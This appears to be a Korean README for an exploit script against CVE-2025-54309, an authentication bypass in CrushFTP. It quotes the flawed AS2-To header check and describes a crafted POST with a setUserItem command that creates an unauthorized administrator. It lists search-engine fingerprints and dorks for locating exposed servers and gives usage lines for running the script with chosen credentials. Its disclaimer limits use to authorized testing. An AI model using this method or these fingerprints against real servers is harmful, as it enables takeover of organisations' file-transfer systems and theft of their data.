
CrushFTP AS2 Authentication Bypass
CVE-2025-54309는 CrushFTP의 인증 우회 취약점으로, AS2 헤더 조작을 통해 승인되지 않은 관리자 사용자를 생성할 수 있습니다.
crushftp/server/ServerSessionHTTP.javaloginCheckHeaderAuth() (2285행)} else if (this.headerLookup.containsKey("as2-to".toUpperCase())) {
if (this.headerLookup.getProperty("as2-to".toUpperCase()).trim().indexOf("-_-") < 0 && !ServerStatus.BG("blank_passwords")) {
return; // Authentication bypass occurs here
}
AS2-To 헤더와 함께 /WebInterface/function/에 POST 요청을 보냅니다.setUserItem 명령을 포함합니다.-_- 구분자가 없어 인증을 우회합니다.http.server_hash:525710691,-1319113083,2114359341,1401270286,-608770667http.favicon.hash:-1022206565"/WebInterface/w3c/p3p.xml"intitle:"CrushFTP WebInterface"inurl:"/WebInterface/login.html"python3 cve_2025_54309.py <target_url> [-u username] [-p password] [-v]
# Basic exploitation
python3 cve_2025_54309.py http://crushftp.example.com:8080
# Custom credentials
python3 cve_2025_54309.py https://crushftp.example.com -u kali -p kali1
# With login verification
python3 cve_2025_54309.py http://crushftp.example.com -v
이 도구는 승인된 보안 테스트 용도로만 사용됩니다. 사용자는 적용 가능한 법률 및 규정을 준수할 책임이 있습니다.